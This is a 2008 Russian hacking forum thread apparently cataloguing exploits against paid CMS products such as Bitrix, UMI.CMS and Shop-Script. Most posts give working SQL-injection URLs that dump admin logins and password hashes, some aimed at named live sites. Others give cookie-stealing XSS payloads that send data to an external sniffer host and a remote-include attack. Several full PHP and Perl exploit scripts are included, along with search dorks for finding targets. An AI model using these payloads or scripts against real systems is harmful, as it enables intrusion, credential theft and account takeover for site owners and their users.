Форум АНТИЧАТ
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Обзор уязвимостей в платных CMS (https://forum.antichat.xyz/showthread.php?t=58123)

ZAMUT 10.01.2008 19:31
Обзор уязвимостей в платных Cms
 
VistaCMS

Оф.сайт: http://www.vistacms.ru
Стоимость (в руб.): 13000-42000 o.O
------------------------------------------------
Раскрытие путей:

http://www.vistacms.ru/modules/kerne'l/
Код:
/usr/home/admin/domains/vistacms.ru/public_html/class/page.class.php
SQL-injection

Администраторская панель:

Код:
http://www.vistacms.ru/admin/
Логин: 1' or 1=1/*
Пароль: antichat.ru

Клиенты:
Код:
http://www.vistacms.ru/clients/
Автор: ZAMUT (c)

P.S.
Уязвимость в авторизации, была замечена не везде. С чем это связано не знаю, про версию CMS ничего не говориться.

ZAMUT 10.01.2008 21:49
UMI.CMS

Оф.сайт: www.umi-cms.ru
Стоимость (в руб.): 2990-29990
------------------------------------------
XSS(Активная)

Настройки ->

Уязвимые поля:
Фамилия
Имя
Отчество

Код:
<script>alert(document.cookie)</script>
Автор: ZAMUT (c)

Scipio 10.01.2008 22:26
Abo Cms
 
Уязвимость (sql-inj) обнаружена мной в ?модуле статистики? движка ABO CMS, файл c.php находится обычно в корне веб-директории сайта, реально заюзать уязвимость можно в MySQL 4.1 и выше, так как в более ранних версиях нет возможности использовать подзапросы...

цена ABO CMS на офф. сайте достигает 30000 рублей.
На этом движке работают крупные инет-магазины, банки, и т.д.

вот сплоит ТУТ написанный на php для получения логина и хеша пароля первого пользователя... для получения других данных скрипт не сложно модифицировать...
Скрипт написан немного корявенько, т.к. писался на скорую руку, так что больно не бейте

halkfild 13.01.2008 01:41
S.Builder
Разработчик CMS CBS-Group
Номер версии S.Builder 3.756
Лицензия платная
Сайт www.sbuilder.ru
Демо-версия www.demo.sbuilder.ru
Функциональность портал
Стоимость (в руб.) от 2235 до 44700 руб.

для теста в вебе создают акк на сутки

SQL-injection

20 полей

Цитата:
http://cmssite/more.php?bc_tovar_id=2+order+by+20/*'

Цитата:
http://cmssite/more.php?bc_tovar_id=2+limit+0+union+select+1,2,3, 4,5,6,7,8,concat_ws(0x3a3a,version(),user(),databa se()),10,11,12,13,14,15,16,17,18,19,20/*'
системная инфа
5.0.22- log::dmsb_d7494517@localhost::dmsb_d7494517


Цитата:
http://cmssite/more.php?bc_tovar_id=2+limit+0+union+select+1,2,3, 4,5,6,7,8,concat_ws(0x3a3a,table_schema,table_name ),10,11,12,13,14,15,16,17,18,19,20+from+informatio n_schema.tables/*'
пользователи
Цитата:
http://cmssite/more.php?bc_tovar_id=2+limit+0+union+select+1,2,3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ binn_users/*'
название не смотрел ;) но мона через базу глянуть

xcedz 15.01.2008 03:55
VDNH
Оф. сайт http://www.vdnh.ru/
Лицензия - платная
Стоимость- от 6750- 176625
уязвимость - xss активная, пассивная
<script>alert('helloworld')</script>
также бажные у них гостевые книги.

iddqd 22.01.2008 03:22
Уязвимости в Bitrix CMS
 
Multiple Vulns in Bitrix CMS

Версия системы и история обновления

Vulnerable: Bitrix Site Manager 4.1.x

Exploit:

Код:
http://www.bitrix.ru/bitrix/updates/updater.log
XSS в редиректе:

Уязвимость присутствует из-за редиректа в форме авторизации во время POST- запроса. Атакующий может подменить значение скрытого поля back_url и перенаправить жертву на вредоносную страницу.

Раскрытие пути

Vulnerable: Bitrix Site Manager 4.0.x

Exploit:

Код:
http://host/bitrix/templates/.default/subscribe/subscr_form.php
http://host /bitrix/php_interface/dbquery_error.php
PHP Include

Vulnerable: Bitrix Site Manager 4.0.x

Exploit:

Код:
http://vilcum/bitrix/admin/index.php?_SERVER[DOCUMENT_ROOT]=http://attackhost/
"http://attackhost/" должен содержать скрипт dbconn.php в /bitrix/php_interface/

ZAMUT 23.01.2008 02:22
Amiro.CMS

сайт: amiro.ru

XSS (passive)

Сплоентс:
Код:
/saleoffset=saleoffset=<script>alert(document.cookie)</script>
Код:
/blabla<script>alert(document.cookie)</script>
by me +)

halkfild 09.02.2008 04:20
Mix Systems
vendor:http://mixsystems.com.ua

price "МИКС-ВИЗИТКА от 500 у. е." -- "МИКС-ПОРТАЛ от 5000 у. е."

SQL injection

plugin:katalog
EX

Код:
http://site.com/index.php?plugin=katalog&do=showUserContent&type=tovars&id=395'
http://site.com/index.php?plugin=katalog&do=showUserContent&type=tovars&id=395'+order+by+18/*
http://site.com/index.php?plugin=katalog&do=showUserContent&type=tovars&id=395'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
Код:
version::user::database
http://site.com/index.php?plugin=katalog&do=showUserContent&type=tovars&id=395'+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
users id::login::pwd::email
http://site.com/index.php?plugin=katalog&do=showUserContent&type=tovars&id=395'+union+select+1,2,3,4,5,concat_ws(0x3a3a,id,login,pwd,email),7,8,9,10,11,12,13,14,15,16,17,18+from+mix_users/*
http://site.com/index.php?plugin=katalog&do=showUserContent&type=tovars&id=-395'+union+select+1,2,3,4,5,concat_ws(0x3a3a,id,login,pwd,email),7,8,9,10,11,12,13,14,15,16,17,18+from+mix_users+limit+1,1/*
plugin=photogall
Ex

Код:
http://site.com/index.php?plugin=photogall&do=exposure&path=product&parent=49'&cat=11
http://site.com/index.php?plugin=photogall&do=exposure&path=product&parent=49'+order+by+12/*&cat=11
Код:
version::user::database
http://site.com/index.php?plugin=photogall&do=exposure&path=product&parent=49'+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5,concat_ws(0x3a3a,version(),user(),database()),7,8,9,10,11,12/*&cat=11
users id::login::pwd::email
http://www.sahm.com.ua/index.php?plugin=photogall&do=exposure&path=product&parent=49'+union+select+1,2,3,concat_ws(0x3a3a,id,login,pwd,email),5,6,7,8,9,10,11,12+from+ng_users/*&cat=11
(c) halkfild


написал сплоит на CURL /*быстрее чем сокеты*/

PHP код:
<?

echo "\n";
echo "-------------------------Mix Systems CMS--------------------------"."\n";
echo "-----------------------coded by : halkfild------------------------"."\n";
echo "------------------------------------------------------------------"."\n";

if ($argc!=4){
  echo " Usage:    php ".$argv[0]." host type num_records\n";
  echo " host:    Your target ex www.target.com \n";
  echo " type:    1 - plugin=katalog bug\n";
  echo "        2 - plugin=photogall bug\n";
  echo " num_records: number or returned records(if 0 - return all)\n";
  echo " example: php script.php site.com 10\n";           
  echo "\n";
exit;
}

$host=$argv[1];
$type=$argv[2];
$count=$argv[3];

if ($argv[2]==1) {
  $query="index.php?plugin=katalog&do=showUserContent&type=tovars&id=-395'+union+select+1,2,3,4,5,concat_ws(0x3a3a,CHAR(64),id,login,pwd,email,CHAR(64)),7,8,9,10,11,12,13,14,15,16,17,18+from+mix_users+limit+";
  $end=",1/*";
}
elseif ($argv[2]==2) {
  $query="index.php?plugin=photogall&do=exposure&path=product&parent=49'+union+select+1,2,3,concat_ws(0x3a3a,CHAR(64),id,login,pwd,email,CHAR(64)),5,6,7,8,9,10,11,12+from+ng_users+limit+";
  $end=",1/*&cat=11";
}
else {
  echo " incorrect parameter #2=".$argv[2]."\n";
  echo " type:    1 - plugin=katalog bug\n";
  echo "        2 - plugin=photogall bug\n";
  exit;
}
$site=$host.'/'.$query;
$pattern='/@::(\d+)::(.*)::([0-9a-z]{32})::(.*@.*)::@/';
$i=0;
  
if(function_exists('curl_init'))
{
  while(1) {
    $ch = curl_init("http://".$site.$i.$end);
   
    curl_setopt($ch, CURLOPT_HEADER,true);
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_TIMEOUT,10);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");  
    $res=curl_exec($ch);
    $returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($returncode==404) exit ("Vulnerable script not found. Check your site and settings :| \n");
  
    if(preg_match_all($pattern,$res,$out)) {
        echo "| ".$out[1][0]." | ".$out[2][0]." | ".$out[3][0]." | ".$out[4][0]." |\r\n";
        $i++;
        $out=null;
    }
    else break;
    
    if ($count!=0 && $i>$count) break;
     }
     echo ("Finish. /* ".$i." records*/ \n");
}
else
exit("Error:Libcurl isnt installed \n");

?>

xcedz 11.03.2008 18:54
ExpiCMS
www.expi-cms.ru
стоимость
1. Лицензия 1 год - 6 900 руб.

2. Лицензия 3 года - 12 900 руб.

3. Неограниченная лицензия - 17 490 руб

Пассивная xss

вход в админку www.expi-cms.ru/cms/login.php

в логин и пароль вставляеем например такую конструкцию :)

</SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>

Цитата:
так например на marypoppinscafe.ru/cms/login.php выдает некотрую интересную информацию в частности User - mary_poppins DataBase - cms_express_oksana_mary_poppins

big_BRAT 16.03.2008 20:22
SQL inj в Shop-Script
 
Shop-Script
Разработчик Articus dev. group
Лицензия платная
Сайт www.shop-script.ru/
Демо-версия www.demo.shop-script.ru/premium
Функциональность e-магазин
Стоимость (в руб.) от 0 до 5450 руб.

SQL injection

уязвимый скрипт invoice_phys.php
уязвимый парамерт order_time=
данные передаются кодированные в base64; возможен только посимвольный перебор
Пример уязвимого куска кода:
PHP код:
$_GET["orderID"] = (int) $_GET["orderID"];
$sql = 'SELECT COUNT(*) FROM '.ORDERS_TABLE.'
WHERE orderID='.$_GET["orderID"].' AND
order_time="'.base64_decode($_GET["order_time"]).'" AND 
customer_email="'.base64_decode($_GET["customer_email"]).'"'; 
Пример:
Код:
2008-03-16 14:24:11" or 1=1/*
Рабочий "код":
Код:
2008-03-16 14:24:11" or orderID=1 and ascii(substring((select cust_password from SS_customers where customerID=1),1,1))=97/*
который нужно прогнать через base64_encode и передать скрипту.
Для удачного перебора нужно знать № существующего заказа в базе. Пароль в базе лежит перекодированный в base64, так что в открытом виде

Поиск: __http://search.icq.com/search/results.php?q=inurl%3A%22index.php%3Ffeedback%3Dye s%22
Приблизительно 1500 стр...
Рабочий скрипт для подбора пароля __http://rapidshare.com/files/100018966/SS_brute.rar.html

Уязвимость не где не вылаживал, античат первый))

.Slip 28.03.2008 22:08
Smart-CMS
 
showNewsItem.php

Exploit:
Код:
showNewsItem.php?news_id=-22+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,admin_id,user_name,password)+from+administrator--
Пассы без шифрования
/admin/index.php

chekist 02.04.2008 12:51
тамже
showGallery.php?pagetitle=Gallery&category=1+and+1 =0+union+select+concat(user_name,0x3a,password)+fr om+administrator/*

.Begemot. 14.06.2008 12:47
Pre Job Board (JobSearch.php) Remote SQL Injection Vulnerability
Код HTML:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+            Pre Job Board (JobSearch.php) Remote SQL Injection Vulnerability        +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com/
[~] EspSeC & Hack0wn!.

[~] Software: Pre Job Board (payment)
[~] HomePage: http://www.preproject.com/
[~] Exploit: Remote SQL Injection [High]
[~] Vuln file: JobSearch.php

[~] /jobseekers/JobSearch.php (search module)

[+] Exploit:

[~] ' and 1=2 union all select 1,2,3,4,version(),user(),7,8,9,0,1,2,3,4,5/*

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                      JosS                                        +==--
--==+====================================================================================+==--
                                      [+] [The End]

# milw0rm.com [2008-06-14]
milw0rm.com [2008-06-14]

Ded MustD!e 19.06.2008 22:15
Пассивная XSS в ARTUS-master

Уязвимо поле поиска.

Цитата:
"><script>alert()</script>
например тут
Цитата:
http://artus.ru/
:)

baltazar 18.07.2008 13:44
CNCat
XSS:
Уязвимости в add.php(можно как через GET тк и через POST),index.php и search.php

Код:
http://site/add.php?description=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Код:
http://site/search.php?q=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Код:
http://site/?c=0&o=0%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

n0ne 18.07.2008 17:26
Не уверен, что платная CMS, но тем не менее :)

SQL-inj в Siteframe CMS

В скрипте folder.php, параметре id.

Код:
http://site.com/folder.php?id=[sql]
Боевой пример:

Цитата:
http://www.myfourthirds.com/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5, 6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11 +from+users--

Corwin 02.08.2008 10:52
K-Links Directory SQL-INJECTION, XSS
 
================================================== ==============================
|| K-Links Directory SQL-INJECTION, XSS
================================================== ==============================

Application: K-Links Directory
--------------

Website: http://turn-k.net/k-links
-----------

Version: Platinum (All)
----------

About: Script for starting a profitable link directory website offering full-featured directory of resources/links similar to Yahoo-style search engine. Price 79-169$.
------

Googledork: Powered By K-Links Directory
---------------

Demo: http://klinksdemo.com
--------

Date: 24-07-2008
-------

Description:
---------------
Множественные SQL-Injection. Активные и пассивные XSS.


[ SQL-INJECTION ]

http://host/report/-1[SQL]
http://host/visit.php?id=-1[SQL]
http://host/addreview/-1[SQL]
http://host/refer/-1[SQL]

===>>> Exploit:

http://host/report/-1 union select 1,2,3,concat(a_pass,0x3a,a_user),5,6,7,8,9,1,2,3,4 ,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2 ,3,4,5,6,7,8 from platinum_admins where a_id=1/*


/* Admin Login - http://host/admin

Далее, через Manage Templates получаем веб-шелл. */

[ ACTIVE XSS ]

*) На сайте в поиске вбиваем <script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>

При просмотре администратором поисковых запросов, его cookies уйдут на сторонний ресурс.

*) На любую ссылку можно оставить мнение. После чего это сообщение появится у администратора.

[ PASSIVE XSS :) ]

http://host/index.php?req=login&redirect=&login_message=<scrip t>alert()</script>


Author: Corwin
---------

Contact: corwin88[dog]mail[dot]ru
-----------

p.s. к сожалению не удалось найти скрипты и провести нормальный аудит кода.

Corwin 02.08.2008 10:56
================================================== ==============================
|| Dating 3 PHP Script SQL-INJECTION
================================================== ==============================

Application: E-topbiz Dating 3 PHP Script
------------

Version: All
--------

Website: http://e-topbiz.com/oprema/pages/dating3.php
--------

Demo: http://e-topbiz.com/trafficdemos/dating3
-----

About: Dating 3 is a very powerful top quality dating php script for webmasters who wish to run an online dating site.
------

Date: 01-08-2008
-----

[ VULNERABLE CODE ]

members/mail.php

@Line:

PHP код:
  142:     if($action==inbox) { 
  143:     $result=mysql_query("select * from mail where UserTo ='$username' ORDER BY SentDate DESC") or die ("cant do it"); 


  150:     if($action==veiw) { 
  151:     $result=mysql_query("select * from mail where UserTo='$username' and mail_id=$mail_id") or die ("cant do it"); 


===>>> Exploit:

http://host/members/mail.php?action=veiw&mail_id=-1 union select 1,2,3,concat(username,0x3a,password),5,6,7 from admin/*



Author: Corwin
-------

Contact: corwin88[dog]mail[dot]ru
--------

Corwin 02.08.2008 11:38
============================
|| PPVCHAT ACTIVE XSS
============================

Application: PPVCHAT
------------

Website: http://ppvchat.com/
--------

Version: All
--------

About: Pay-per-view adult video chat software. Price 999$.
------

Googledork: Copyright © 2006 PPVChat.com
-----------

Date: 05-07-2008
-----

Description:
------------
При регистрации новых пользователей/моделей нет фильтрации полей.

===>>> Exploit:

<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>


Author: Corwin
-------

Contact: corwin88[dog]mail[dot]ru
--------

Corwin 02.08.2008 15:39
================================================== ==============================
|| E-topbiz Payment Processor 2 SQL-INJECTION
================================================== ==============================

Application: E-topbiz Payment Processor 2
------------

Version: 2.0
--------

Website: http://e-topbiz.com/oprema/pages/pproc2.php
--------

Demo: http://e-topbiz.com/trafficdemos/payment2/
-----

About: The payment processor php script allows you to own and operate your very own paypal type payment processor ------ website and to make a percentage OF EACH AND EVERY TRANSACTION that takes place on your site.

Date: 01-08-2008
-----

[ SQL-INJECTION ]

http://host/shop.htm?cid=-1[SQL]

===>>> Exploit:

http://host/shop.htm?cid=-1 union select 1,2,concat(user(),0x3a,version())



Author: Corwin
-------

Contact: corwin88[dog]mail[dot]ru
--------

Corwin 03.08.2008 17:35
================================================== ==============================
|| Recipe Script SQL-INJECTION
================================================== ==============================

Application: Recipe Script
------------

Version: 6.0
--------

Website: http://fivedollarscripts.com
--------

Demo: http://recipebag.com
-----

Date: 03-08-2008
-----

[ VULNERABLE CODE ]

viewrecipe.php

PHP код:
 3:     $sql="select * from recipe where recipeid=$recid";
    4:     $res=mysql_query($sql);it");

  259:     $result=mysql_query("select * from recipescomments where approved='Y' and recipeid=$recid");
  260:     if(mysql_num_rows($result))do it"); 

===>>> Exploit:

http://host/blabla-0 union select 1,2,concat(username,0x3a,password),4,5,6,7,8,9,1,2 ,3,4,5,6,7,8,9 from recipesadmin.php

// Admin Login - http:/host/admin2

Greetzz !!! Форб, с отцовством бро! :-)!!


Author: Corwin
-------

Contact: corwin88[dog]mail[dot]ru
--------

Corwin 04.08.2008 10:48
================================================== ==============================
|| Bartender Drinks SQL-INJECTION
================================================== ==============================

Application: Bartender Drinks
------------

Version: All
--------

Website: http://fivedollarscripts.com
--------

Demo: http://fivedollarscripts.com/drinks/
-----

Date: 04-08-2008
-----

[ VULNERABLE CODE ]

viewdrinks.php

PHP код:
 6:  if($bgid=="")
        {
        $sql="select * from drink order by upldate desc";
        }
        else
        {
   12:  $sql="select * from drink where categoryid=$bgid order by upldate desc";
        } 

viewdrink.php

PHP код:
 3:  $sql="select * from drink where drinkid=$recid";
        $res=mysql_query($sql);


  238:  $result=mysql_query("select * from drinkscomments where approved='Y' and drinkid=$recid"); 

===>>> Exploit:

http://host/index.php?cmd=6&recid=-1 union select 1,2,concat(username,0x3a,password),4,5,6,7,8,9,1,2 ,3 from drinksadmin/*

// Admin Login - http:/host/admin2


by me

baltazar 11.08.2008 14:12
Ultraseek
 
XSS:

Код:
http://site/highlight/index.html?url=http://forum.antichat.ru.html&fterm=test&la=en&charset=utf-8&search=../query.html%3Fcharset%3Dutf-8%26qt%3Dtest
Directory Traversal:

http://site/help/syntax.html?la=/../../index

http://site/help/searchtips.html?la=/../../index

http://site/help/refine.html?la=/../../index

http://site/help/special.html?la=/../../index

http://site/help/boolean.html?la=/../../index

http://site/help/meta.html?la=/../../index

Local File Inclusion:

http://site/help/syntax.html?la=/../query

http://site/help/searchtips.html?la=/../query

http://site/help/refine.html?la=/../query

http://site/help/special.html?la=/../query

http://site/help/boolean.html?la=/../query

http://site/help/meta.html?la=/../query

baltazar 11.08.2008 14:23
CMS SiteEdit
 
XSS:

Код:
http://site/shop?se_namedomen=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Уязвимость в скрипте shop в параметре se_namedomen

Код:
http://site/thanks?formobj_email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
В скрипте thanks в параметрах formobj_email, formobj_message, formobj_edit, formobj_name, formobj_company, formobj_jobtitle, formobj_site, formobj_address, formobj_telephone, formobj_img, formobj_GoTo, autoreply_text

Код:
http://site/registration?login=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
В скрипте registration в параметрах login, email, first_name, last_name.


Уязвимости на офф.сайте движка http://www.siteedit.ru


Код:
http://www.siteedit.ru/thanks?autoreply_text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Код:
http://www.siteedit.ru/thanks?autoreply_text=%22%3E%3Ca%20href=http://forum.antichat.ru%3Eantichat%3C/a%3E
Код:
http://www.siteedit.ru/registration?last_name=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Qwazar 18.08.2008 05:38
SoSo News Express Pro 2.0.4. Blind SQL Injection Exploit (к сожалению, поковыряться удалось только в этой версии)

Уязвимый код:
В файле includes/info_home.php:
Код:
$this->client_ip=!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ( !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : (!empty($REMOTE_ADDR) ? $REMOTE_ADDR : '' ));
В файле modules/ajax/ajax_statistic.php:
Код:
$DB->query("SELECT session_time FROM ". $DB->prefix ."stat_session WHERE client_ip='". $Info->client_ip ."' AND session_time>=". $update_time ." ORDER BY session_time DESC LIMIT 0,1");
Как видим, поле X_FORWARDED_FOR заголовка запроса, не фильтруется.

Т.к. полученый Sql inj - слепой, но с выводом ошибки, используем запрос:
Код:
X_FORWARDED_FOR:-1' OR client_ip=IF(ascii(substring((SELECT user_password FROM news_user WHERE user_id=1),[POS],1))=[CHARCODE],'1',(SELECT 1 UNION SELECT 2))/*
Если запрос, НЕ вернул ошибку "Subquery returns ...", то на этой позиции находится символ [CHARCODE].

Сплоит запускать из коммандной строки, вот так: soso2sql.php http://site.com/ 1

Результат: md5(password).

Собственно код:
Код:
<?

//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";

set_time_limit(0);
ignore_user_abort(1);

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="X_FORWARDED_FOR: ".$xpl."\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($condition, $pos){
        global $id, $prefix;
        $xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
        return $xpl;
}

if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url."\r\n";

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){       
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=97;$j<=102;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

?>
Скачать можно тут: http://www.x2b.ru/get/1401

З.Ы.
Проблема с X_FORWARDED_FOR присутствует и на официальном сайте, а значит наверняка и в более новых версиях.

Пример:

Цитата:
GET http://www.sosovn.com/index.php?mod=contact&act=send
Host: www.sosovn.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
X_FORWARDED_FOR: test'
Keep-Alive: 300
Connection: keep-alive
Ну и раскрытие пути: http://site/ajax.php (для версии 2.0.4)

Zahar 18.08.2008 23:58
Огромное спасибо за выложеный баг. Я правда столкнулся с проблемой нахождения логина, пока не очень получаеться, немогли бы вы показать как вытащить логин админа?
спасибо!

Qwazar 19.08.2008 00:33
Вот тебе версия которая после подбора хеша подбирает и логин админа. Подбирает в диапазоне [a-Z,0-9], если будет мало, внимательно поправь значения кодов символов во втором цикле for (в тех что внутри for($i=1;$i<=32;$i++) ).

Код:
<?

//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";

set_time_limit(0);
ignore_user_abort(1);

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="X_FORWARDED_FOR: ".$xpl."\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($condition, $pos){
        global $id, $prefix;
        $xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
        return $xpl;
}

function xpl2($condition, $pos){
        global $id, $prefix;
        $xpl="-1' or client_ip=if(ascii(substring((select username from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
        return $xpl;
}

if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url."\r\n";

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){       
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=97;$j<=102;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";

echo "Trying to get username: ";
for($i=1;$i<=32;$i++){
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=65;$j<=90;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if($flag!=1) {
                for($j=97;$j<=122;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if($flag!=1) {
                echo chr(8);
                break;
        }
}

echo " [DONE]\r\n";

?>
Скачать можно с: http://www.x2b.ru/get/1426

~!DoK_tOR!~ 22.08.2008 23:02
CustomCMS 4.0 (CCMS) print.php Remote SQL Injection Vulnerability
 
print.php

Vuln code:

PHP код:
$q = mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'"); 
magic_quotes_gpc = Off

http://localhost/[installdir]/

Exploit:

Код:
print.php?id='+union+select+1,concat_ws(0x3a,usern ame,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+ccms_user+where+userid=1/*
http://milw0rm.com/exploits/6284
(c) ~!Dok_tOR!~

~!DoK_tOR!~ 04.09.2008 07:09
PlayCMS <= 2.0 SQL Injection

Type: Game Script
Price: $20
URL: www.playcms.com
Condition: magic_quotes_gpc = Off

Exploit:

http://localhost/[installdir]/game.php?gameid=-1'+union+select+1,user(),version(),4,5,6,database( ),8/*

http://localhost/[installdir]/index.php?gameid=-1'+union+select+1,2,3,4,5,6,7,8/*

(c) ~!Dok_tOR!~

ZAMUT 06.09.2008 13:27
Vastal I-Tech CMS

Оф.сайт: vastal.com

Дата: 05.09.2008
Первоисточник: milw0rm.com
Описание:
Уязвимость существует из-за недостаточной фильтрации входящего параметра, передаваемого через $_GET массив,
атакуещему позволяет провести SQL - инъекцию.
Способы устранения уязвимости:
проводить жесткую фильтрацию параметров перед передачей их в SQL - запрос.
Подробнее:
Анти SQL-injection
Защита от SQL-injection
Уязвимые компоненты:
Shaadi Zone 1.0.9 (tage) SQL Injection
Cosmetics Zone (cat_id) SQL Injection
Freelance Zone (coder_id) SQL Injection
Mag Zone (cat_id) SQL Injection
MMORPG Zone (game_id) SQL Injection
Jobs Zone (news_id) SQL Injection
DVD Zone (cat_id) SQL Injection
Share Zone (id) SQL Injection
Toner Cart (id) SQL Injection
Visa Zone (news_id) SQL Injection
Agent Zone (ann_id) SQL Injection
От меня:
Компонент: Mag Zone (mag_id)
Код:
#!/usr/bin/perl

use LWP::UserAgent;
use strict;

my ($ua,$answ);

&usage;

if(!$ARGV[2]) {print "\n\nProxy not found :d";}
else {print "\n\nProxy found, $ARGV[2]";}

print "\n\n[~]Waiting...\n[~]Getting data -- [ user_name, password ]";
$ua=LWP::UserAgent->new;
